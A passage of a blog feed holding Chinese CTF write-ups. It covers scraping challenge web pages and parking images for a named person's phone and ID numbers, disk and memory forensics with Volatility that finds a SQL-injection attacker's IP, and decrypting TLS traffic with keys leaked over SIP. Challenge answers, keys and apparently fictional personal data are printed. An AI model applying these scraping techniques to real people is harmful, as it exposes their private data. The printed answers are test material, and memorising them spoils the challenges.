class="number">138</span>****<span class="number">9377</span> **市**区******息技术园<span class="number">16</span>楼博林科技</span><br></pre></td></tr></table></figure><p>结合爬取的工商信息，提交张某所属公司的全称</p><p><img src="https://assets.bili33.top/img/CTF-DCIC2025-Data-Security-Preliminary-round-Writeup/image-20250330152421-stiipqg-1743321678825-36.png"></p><p>答案为：<strong>江苏博林科技有限公司</strong></p><h3 id="张华强的手机号-Luminoria-Ron"><a href="#张华强的手机号-Luminoria-Ron" class="headerlink" title="张华强的手机号 | @Luminoria @Ron"></a>张华强的手机号 | @Luminoria @Ron</h3><h4 id="个人做法-1"><a href="#个人做法-1" class="headerlink" title="个人做法"></a>个人做法</h4><p>还是跑脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">from</span> bs4 <span class="keyword">import</span> BeautifulSoup</span><br><span class="line"><span class="keyword">from</span> tqdm <span class="keyword">import</span> tqdm</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">extract_info_from_html</span>(<span class="params">html_content</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">    从 HTML 内容中提取手机号和身份证号。</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    Args:</span></span><br><span class="line"><span class="string">        html_content: HTML 文件的字符串内容。</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    Returns:</span></span><br><span class="line"><span class="string">        一个字典，包含 &#x27;phone_number&#x27; 和 &#x27;id_number&#x27;，如果没有找到则为 None。</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    soup = BeautifulSoup(html_content, <span class="string">&#x27;html.parser&#x27;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 查找是否包含 &quot;张华强&quot;</span></span><br><span class="line">    <span class="keyword">if</span> <span class="string">&quot;张华强&quot;</span> <span class="keyword">not</span> <span class="keyword">in</span> soup.body.get_text():</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># 查找隐藏信息</span></span><br><span class="line">    hidden_info_div = soup.find(<span class="string">&#x27;div&#x27;</span>, class_=<span class="string">&#x27;hidden-info&#x27;</span>)</span><br><span class="line">    <span class="keyword">if</span> hidden_info_div:</span><br><span class="line">        info_text = hidden_info_div.text</span><br><span class="line">        parts = info_text.split(<span class="string">&#x27;|&#x27;</span>)</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">len</span>(parts) == <span class="number">2</span>:</span><br><span class="line">            phone_number = parts[<span class="number">0</span>]</span><br><span class="line">            id_number = parts[<span class="number">1</span>]</span><br><span class="line"></span><br><span class="line">            <span class="comment"># 验证手机号格式是否为 138****9377</span></span><br><span class="line">            phone_pattern = re.<span class="built_in">compile</span>(<span class="string">r&#x27;^138\d&#123;4&#125;9377$&#x27;</span>)</span><br><span class="line">            <span class="keyword">if</span> phone_pattern.<span class="keyword">match</span>(phone_number):</span><br><span class="line">                <span class="keyword">return</span> &#123;<span class="string">&#x27;phone_number&#x27;</span>: phone_number, <span class="string">&#x27;id_number&#x27;</span>: id_number&#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">traverse_webpages</span>(<span class="params">folder_path</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">    遍历指定文件夹下的所有 HTML 文件，并提取信息。</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    Args:</span></span><br><span class="line"><span class="string">        folder_path: 网页文件夹的路径。</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    <span class="keyword">for</span> root, dirs, files <span class="keyword">in</span> os.walk(folder_path):</span><br><span class="line">        <span class="keyword">for</span> file <span class="keyword">in</span> tqdm(files):</span><br><span class="line">            <span class="keyword">if</span> file.endswith(<span class="string">&quot;.html&quot;</span>):</span><br><span class="line">                file_path = os.path.join(root, file)</span><br><span class="line">                <span class="keyword">try</span>:</span><br><span class="line">                    <span class="keyword">with</span> <span class="built_in">open</span>(file_path, <span class="string">&#x27;r&#x27;</span>, encoding=<span class="string">&#x27;utf-8&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">                        html_content = f.read()</span><br><span class="line">                        extracted_data = extract_info_from_html(html_content)</span><br><span class="line">                        <span class="keyword">if</span> extracted_data:</span><br><span class="line">                            <span class="built_in">print</span>(<span class="string">f&quot;在文件: <span class="subst">&#123;file_path&#125;</span> 中找到匹配信息:&quot;</span>)</span><br><span class="line">                            <span class="built_in">print</span>(<span class="string">f&quot;  手机号: <span class="subst">&#123;extracted_data[<span class="string">&#x27;phone_number&#x27;</span>]&#125;</span>&quot;</span>)</span><br><span class="line">                            <span class="built_in">print</span>(<span class="string">f&quot;  身份证号: <span class="subst">&#123;extracted_data[<span class="string">&#x27;id_number&#x27;</span>]&#125;</span>&quot;</span>)</span><br><span class="line">                            <span class="built_in">print</span>(<span class="string">&quot;-&quot;</span> * <span class="number">30</span>)</span><br><span class="line">                <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">                    <span class="built_in">print</span>(<span class="string">f&quot;处理文件 <span class="subst">&#123;file_path&#125;</span> 出错: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    webpage_folder = <span class="string">&quot;webpage&quot;</span></span><br><span class="line">    traverse_webpages(webpage_folder)</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">在文件: webpage\40\5840.html 中找到匹配信息:</span><br><span class="line">  手机号: 13891889377</span><br><span class="line">    身份证号: 61050119980416547X</span><br></pre></td></tr></table></figure><h4 id="队友做法-1"><a href="#队友做法-1" class="headerlink" title="队友做法"></a>队友做法</h4><p>使用 <code>cat ./&#123;文件夹ID&#125;/*.html | grep -E &quot;138[0-9]&#123;4&#125;9377|张华强&quot;</code> 逐个找信息，遍历文件夹ID，发现在40号文件夹出现结果</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash"><span class="built_in">cat</span> ./40/*.html | grep -E <span class="string">&quot;138[0-9]&#123;4&#125;9377|张华强&quot;</span></span></span><br></pre></td></tr></table></figure><p><img src="https://assets.bili33.top/img/CTF-DCIC2025-Data-Security-Preliminary-round-Writeup/image-20250330145938-zkad5jf-1743321678825-37.png"></p><p>答案为：<code>13891889377</code></p><h3 id="张华强的身份证号-Luminoria-Ron"><a href="#张华强的身份证号-Luminoria-Ron" class="headerlink" title="张华强的身份证号 | @Luminoria @Ron"></a>张华强的身份证号 | @Luminoria @Ron</h3><p>使用 <code>cat ./&#123;文件夹ID&#125;/*.html | grep -E &quot;138[0-9]&#123;4&#125;9377|张华强&quot;</code> 逐个找信息，遍历文件夹ID，发现在40号文件夹出现结果</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash"><span class="built_in">cat</span> ./40/*.html | grep -E <span class="string">&quot;138[0-9]&#123;4&#125;9377|张华强&quot;</span></span></span><br></pre></td></tr></table></figure><p>跟着第三题，一起出</p><p><img src="https://assets.bili33.top/img/CTF-DCIC2025-Data-Security-Preliminary-round-Writeup/image-20250330145938-zkad5jf-1743321678825-37.png"></p><p>61050119980416547X</p><h3 id="张华强的车牌号-Luminoria-Ron"><a href="#张华强的车牌号-Luminoria-Ron" class="headerlink" title="张华强的车牌号 | @Luminoria @Ron"></a>张华强的车牌号 | @Luminoria @Ron</h3><p>用OCR识别图片中的手机号</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> pytesseract</span><br><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">find_number_in_image</span>(<span class="params">image_path, target_number</span>):</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        img = Image.<span class="built_in">open</span>(image_path)</span><br><span class="line">        text = pytesseract.image_to_string(img, lang=<span class="string">&#x27;eng&#x27;</span>)</span><br><span class="line"></span><br><span class="line">        pattern = <span class="string">r&quot;\b&quot;</span> + re.escape(target_number) + <span class="string">r&quot;\b&quot;</span></span><br><span class="line">        <span class="keyword">match</span> = re.search(pattern, text)</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">match</span>:</span><br><span class="line">            <span class="keyword">return</span> text</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;处理图片 <span class="subst">&#123;image_path&#125;</span> 时出错: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    parking_folder = <span class="string">&quot;./附件/parking&quot;</span></span><br><span class="line">    target_number = <span class="string">&quot;13891889377&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> os.path.exists(parking_folder):</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;文件夹 &#x27;<span class="subst">&#123;parking_folder&#125;</span>&#x27; 不存在，请检查路径。&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span></span><br><span class="line"></span><br><span class="line">    found_in_images = []</span><br><span class="line"></span><br><span class="line">    c = <span class="number">0</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> filename <span class="keyword">in</span> os.listdir(parking_folder):</span><br><span class="line">        c += <span class="number">1</span></span><br><span class="line">        <span class="keyword">if</span> filename.lower().endswith((<span class="string">&#x27;.jpg&#x27;</span>)):</span><br><span class="line">            image_path = os.path.join(parking_folder, filename)</span><br><span class="line">            result = find_number_in_image(image_path, target_number)</span><br><span class="line">            <span class="keyword">if</span> result:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">f&quot;<span class="subst">&#123;filename&#125;</span>r : <span class="subst">&#123;result&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line">                found_in_images.append(filename)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;<span class="subst">&#123;c&#125;</span> <span class="subst">&#123;filename&#125;</span>&quot;</span>, end=<span class="string">&#x27;\r&#x27;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> found_in_images:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;Noting Found&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure><p>在1357.jpg里面找到了手机号</p><p><img src="https://assets.bili33.top/img/CTF-DCIC2025-Data-Security-Preliminary-round-Writeup/image-20250330154424384-1743321678825-38.png"></p><h1 id="数据分析"><a href="#数据分析" class="headerlink" title="数据分析"></a>数据分析</h1><h2 id="溯源与取证"><a href="#溯源与取证" class="headerlink" title="溯源与取证"></a>溯源与取证</h2><h3 id="硬盘取证-Word-恢复-Ron"><a href="#硬盘取证-Word-恢复-Ron" class="headerlink" title="硬盘取证 Word 恢复 | @Ron"></a>硬盘取证 Word 恢复 | @Ron</h3><p>DG打开img扫描删除的文件</p><p><img src="https://assets.bili33.top/img/CTF-DCIC2025-Data-Security-Preliminary-round-Writeup/image-20250330135835-tzwwc7i-1743321678825-39.png"></p><p>用DG恢复文档</p><p><img src="https://assets.bili33.top/img/CTF-DCIC2025-Data-Security-Preliminary-round-Writeup/image-20250330140111-e1hjqew-1743321678825-40.png"></p><p>染色后找到flag</p><h3 id="内存取证及日志分析-Ron"><a href="#内存取证及日志分析-Ron" class="headerlink" title="内存取证及日志分析 | @Ron"></a>内存取证及日志分析 | @Ron</h3><p>DiskGenius打开查看分区起始位置</p><p><img src="https://assets.bili33.top/img/CTF-DCIC2025-Data-Security-Preliminary-round-Writeup/image-20250330135442-arbbf4j-1743321678825-41.png"></p><p>使用Linux mount img文件</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo mount -o loop,offset=32256 ./disk1.img /mnt #offset=512*63=32256</span><br></pre></td></tr></table></figure><p><img src="https://assets.bili33.top/img/CTF-DCIC2025-Data-Security-Preliminary-round-Writeup/image-20250330135748-84l8r09-1743321678826-42.png"></p><p>将7z文件复制出来解压得到内存镜像</p><p>使用voltality3扫描文件</p><p><img src="https://assets.bili33.top/img/CTF-DCIC2025-Data-Security-Preliminary-round-Writeup/image-20250330135311-zkdr8db-1743321678826-43.png"></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vol -f ./WIN-IRBP5Q8F25I-20250306-172341.raw  windows.filescan.FileScan &gt; filelist.txt</span><br></pre></td></tr></table></figure><p><img src="https://assets.bili33.top/img/CTF-DCIC2025-Data-Security-Preliminary-round-Writeup/image-20250330135630-roi9tog-1743321678826-44.png"></p><p>发现log文件，dump下来</p><p><img src="https://assets.bili33.top/img/CTF-DCIC2025-Data-Security-Preliminary-round-Writeup/image-20250330140205-s9613g6-1743321678826-45.png"></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vol -f ./WIN-IRBP5Q8F25I-20250306-172341.raw windows.dumpfiles.DumpFiles --physaddr 0x7c23ba40</span><br></pre></td></tr></table></figure><p><img src="https://assets.bili33.top/img/CTF-DCIC2025-Data-Security-Preliminary-round-Writeup/image-20250330140241-ckgq21p-1743321678826-46.png"></p><p>直接打开很明显的sql注入</p><p>故114.10.143.92即为攻击者IP</p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="CTF" scheme="https://bili33.top/categories/CTF/"/>
    
    
    <category term="CTF" scheme="https://bili33.top/tags/CTF/"/>
    
    <category term="DCIC" scheme="https://bili33.top/tags/DCIC/"/>
    
  </entry>
  
  <entry>
    <title>【Volcania】第十八届软件系统安全赛 CCSSSC 2025 华南赛区区域线下赛复盘</title>
    <link href="https://bili33.top/posts/CTF-CCSSSC2025-Regional-Offline-Competition/"/>
    <id>https://bili33.top/posts/CTF-CCSSSC2025-Regional-Offline-Competition/</id>
    <published>2025-03-24T16:08:37.000Z</published>
    <updated>2026-03-31T05:59:59.340Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><div class="note warning flat"><h2 id="吐槽"><a href="#吐槽" class="headerlink" title="吐槽"></a>吐槽</h2><p>话在前头：这是我们队第二次打线下赛，第一次是鹏城杯决赛，但是因为考虑到保密问题所以我没写复盘</p><p>喜欢我队友下载取证 5 个 G 的附件 20KB&#x2F;s 剩余时间 3 天嘛？还是说，喜欢的是我根本就进不去比赛平台 ♪</p><p>笑死了，华南赛区这边刚开始根本就进不去平台，好不容易我们队四个有一个队友进去了，结果自己的账号密码忘记了先用的我的，后面说可以重置账号密码，上报后说重置完了（为统一的一个强密码），结果还是登不进去，这不是重置了个寂寞吗……最后一个队四个人三个人用我的号，剩下一个队友用自己的</p><p>还有还有，怎么有赛事主办方提供的附件（babymooer 的附件）对系统有要求啊（据说是 Win 10 22H2 测试通过），导致我们没有任何一个人能打开这个附件（附加调试器打开就蓝屏了）</p><p>还有还有还有，从早上八点半打到下午三点半，连饭都没得吃，饿死啦！！！（哭~~~~~~</p></div><h2 id="比赛题目"><a href="#比赛题目" class="headerlink" title="比赛题目"></a>比赛题目</h2><p>这次比赛共有 8 道题目，其中有 3 道 Web 题，一道 re 题，剩下的都是 MISC 题</p><p>题目列表在这里</p><table><thead><tr><th>题目名称</th><th>题目分类</th><th>题目描述</th><th>题目备注</th></tr></thead><tbody><tr><td>babymooer</td><td>Reverse (驱动)</td><td>请在Windows 10低版本运行该程序，否则会闪退，在Windows 10 22H2测试通过。 注意： 1.请上交题目解题报告，否则题目成绩可能被判定无效。 2.提交答案时只需提交{}中的字符串。 3.请关注赛事公告，访问方法：左侧菜单栏“赛事大厅”&gt;所报名赛事的“详情”&gt;下拉页面“赛事公告”<br />babymaooer解题提示：kdmapper；内存读写。<br />babymaooer解题提示：一个exe两个程序。</td><td>关于驱动加载，且限制了系统的版本，导致附加调试器后我们队 re 手电脑蓝屏</td></tr><tr><td>justdeserialize</td><td>Web (反序列化)</td><td></td><td></td></tr><tr><td>ez_sight</td><td>MISC (AI)</td><td>公司给大家发公告了….</td><td>关于 AI 视觉模型的应用以及压缩包明文爆破</td></tr><tr><td>razorcor</td><td>Web</td><td>maybe this one is interesting….</td><td></td></tr><tr><td>sharkmarket</td><td>MISC (Web3&#x2F;Rust)</td><td>sharkmarket解题提示：也许需要获得足够的 coin。</td><td>用 Rust 写的合约后端</td></tr><tr><td>encoder</td><td>PWN (Buffer)</td><td>encoder题目说明：请连接socks5代理后，访问题目地址192.0.100.2:8888。socks5代理的连接信息请参考靶机中的socks5端口、用户、密码。</td><td></td></tr><tr><td>5G消息_TLS</td><td>MISC (Traffic)</td><td>Bob窃取到一个文件，并通过5G消息的形式告诉了Alice，不料他们的通信被窃听了，拿到这个文件，努力去获取最终的答案吧</td><td>通过 SIP 协议明文发送的 TLS 密钥以及 HTTPS 数据流的解密</td></tr><tr><td>DC-Forensics</td><td>MISC (Forensics)</td><td>- 小梁的域控机器被黑客攻击了，请你找出一些蛛丝马迹。 攻击者通过AD CS提权至域管理员，在攻击过程中，攻击者使用有问题的证书模版注册了一张证书，该证书的证书模版名、证书序列号是什么？（格式为模版名-序列号，如CertTemplate-2f000000064287f6f5d6ff4a91000000000006）<br />- 小梁的域控机器被黑客攻击了，请你找出一些蛛丝马迹。 攻击者在获取域管理员权限后，尝试上传木马文件，但是被杀毒软件查杀，上传的木马文件的绝对路径是什么？（如C:\Windows\cmd.exe）<br />- 小梁的域控机器被黑客攻击了，请你找出一些蛛丝马迹。 攻击者从机器中提取出了用户的连接其他机器的Windows企业凭据，凭据的连接IP、用户名、密码是什么？（格式为IP-用户名-密码，如127.0.0.1-sam-123456）<br />- 小梁的域控机器被黑客攻击了，请你找出一些蛛丝马迹。 攻击者创建了一个新用户组和一个新用户，并把这个用户加入了新用户组和域管理员组中，新用户组名、新用户的用户名、新用户的密码是什么？（用户组名和用户名均小写，格式为用户组名-用户名-密码 ，如admins-sam-123456）</td><td>AD 域中的子设备应急处理</td></tr></tbody></table><h2 id="比赛复盘"><a href="#比赛复盘" class="headerlink" title="比赛复盘"></a>比赛复盘</h2><p>这次的复盘，我想先从做出来的题目开始。我们队总共做出来两道题，分别是 <code>5G消息_TLS</code> 和 <code>DC-Forensics-2</code></p><h3 id="MISC-5G消息-TLS"><a href="#MISC-5G消息-TLS" class="headerlink" title="[MISC] 5G消息_TLS"></a>[MISC] 5G消息_TLS</h3><blockquote><p>Bob窃取到一个文件，并通过5G消息的形式告诉了Alice，不料他们的通信被窃听了，拿到这个文件，努力去获取最终的答案吧</p><p><a href="https://ctf-files.bili33.top/CCSSSC2025/Regional/5G%E6%B6%88%E6%81%AF_TLS.zip">附件</a></p></blockquote><p>题目提供了一个流量包，从中可以看到可以发现 SIP 流（消息发送的流）</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-Regional-Offline-Competition/image-20250323121444937.png"></p><p>查询每个 SIP 流，可以得到所有的 TLS 密钥如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">SERVER_TRAFFIC_SECRET_0 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 1fbf7c07ca88c7c91be9cce4c9051f2f4bd7fb9714920661d026119ebab458db8637089348dd5a92dc75633bdcf43630</span><br><span class="line">CLIENT_HANDSHAKE_TRAFFIC_SECRET 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 a98fab3039737579a50e2b3d0bbaba7c9fcf6881d26ccf15890b06d723ba605f096dbe448cd9dcc6cf4ef5c82d187bd0</span><br><span class="line">SERVER_HANDSHAKE_TRAFFIC_SECRET 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 994da7436ac3193aff9c2ebaa3c072ea2c5b704683928e9f6e24d183e7e530386c1dcd186b9286f98249b4dc90d8b795</span><br><span class="line">EXPORTER_SECRET 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 31882156a3212a425590ce171cb78068ee63e7358b587fed472d45d67ea567d98a079c84867a18665732cf0bfe18f0b0</span><br><span class="line">CLIENT_TRAFFIC_SECRET_0 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 646306cb35d94f23e125225dc3d3c727df65b6fcec4c6cd77b6f8e2ff36d48e2b7e92e8f9188597c961866b3b667f405</span><br></pre></td></tr></table></figure><div class="note info flat"><p>这里的解密过程参考了 @Lunatic 的 <strong>Misc-Network Traffic Analysis</strong></p><ul><li><a href="https://goodlunatic.github.io/posts/5422d65/">https://goodlunatic.github.io/posts/5422d65/</a> 上述的文章地址</li><li><a href="https://github.com/goodlunatic/goodlunatic.github.io">https://github.com/goodlunatic/goodlunatic.github.io</a> 大佬的 Github 静态网站仓库</li></ul><p>刚好我们在赛前看到了这个大佬的 MISC Guide，认为他的经验能够帮助我们在比赛中完成题目，遂将他的 Blog 从 Github 下载了下来，使用 Python 的 http.server 本地浏览，没想到真的能够派上用场</p><p>在这里真的很感谢这位大佬，能够公开自己的静态网站的仓库，最后能被我们派上用场</p></div><p>把这个密钥丢到 wireshark 的 TLS 设置里面</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-Regional-Offline-Competition/image-20250323121535730.png"></p><p>为了确定是否正确，我上面是指定了一个 Debug File 的，打开这个文件，可以看到里面的提示</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">dissect_ssl enter frame #27 (first time)</span><br><span class="line">packet_from_server: is from server - TRUE</span><br><span class="line">  conversation = 0000026E74E34DA0, ssl_session = 0000026E74E358F0</span><br><span class="line">  record: offset = 0, reported_length_remaining = 1386</span><br><span class="line">ssl_try_set_version found version 0x0303 -&gt; state 0x91</span><br><span class="line">dissect_ssl3_record: content_type 22 Handshake</span><br><span class="line">decrypt_ssl3_record: app_data len 69, ssl state 0x91</span><br><span class="line">packet_from_server: is from server - TRUE</span><br><span class="line">decrypt_ssl3_record: using server decoder</span><br><span class="line">decrypt_ssl3_record: no decoder available</span><br><span class="line">dissect_ssl3_handshake iteration 1 type 2 offset 5 length 65 bytes</span><br><span class="line">ssl_try_set_version found version 0x0303 -&gt; state 0x91</span><br><span class="line">Calculating hash with offset 5 69</span><br><span class="line">ssl_dissect_hnd_hello_common found SERVER RANDOM -&gt; state 0x93</span><br><span class="line">ssl_set_cipher found CIPHER 0xC030 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 -&gt; state 0x97</span><br><span class="line">trying to use TLS keylog in F:\CTF\Workspace\CCSSSC2025复赛\TLS.log</span><br><span class="line">  checking keylog line: SERVER_TRAFFIC_SECRET_0 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 1fbf7c07ca88c7c91be9cce4c9051f2f4bd7fb9714920661d026119ebab458db8637089348dd5a92dc75633bdcf43630</span><br><span class="line">    matched server_appdata</span><br><span class="line">  checking keylog line: CLIENT_HANDSHAKE_TRAFFIC_SECRET 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 a98fab3039737579a50e2b3d0bbaba7c9fcf6881d26ccf15890b06d723ba605f096dbe448cd9dcc6cf4ef5c82d187bd0</span><br><span class="line">    matched client_handshake</span><br><span class="line">  checking keylog line: SERVER_HANDSHAKE_TRAFFIC_SECRET 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 994da7436ac3193aff9c2ebaa3c072ea2c5b704683928e9f6e24d183e7e530386c1dcd186b9286f98249b4dc90d8b795</span><br><span class="line">    matched server_handshake</span><br><span class="line">  checking keylog line: EXPORTER_SECRET 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 31882156a3212a425590ce171cb78068ee63e7358b587fed472d45d67ea567d98a079c84867a18665732cf0bfe18f0b0</span><br><span class="line">    matched exporter</span><br><span class="line">  checking keylog line: CLIENT_TRAFFIC_SECRET_0 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 646306cb35d94f23e125225dc3d3c727df65b6fcec4c6cd77b6f8e2ff36d48e2b7e92e8f9188597c961866b3b667f405</span><br><span class="line">    matched client_appdata</span><br><span class="line">tls13_load_secret TLS version 0x303 is not 1.3</span><br><span class="line">tls13_load_secret TLS version 0x303 is not 1.3</span><br><span class="line">  record: offset = 74, reported_length_remaining = 1312</span><br><span class="line">  need_desegmentation: offset = 74, reported_length_remaining = 1312</span><br></pre></td></tr></table></figure><p>里面写了 <code>matched</code> 说明我们找对了，过滤 HTTP 协议，可以看见一张图片</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-Regional-Offline-Competition/Wireshark_vRVkyn0Y5x.png"></p><p>把图片的数据流拿出来，丢进赛博厨子就能看到 flag 了</p><p><img 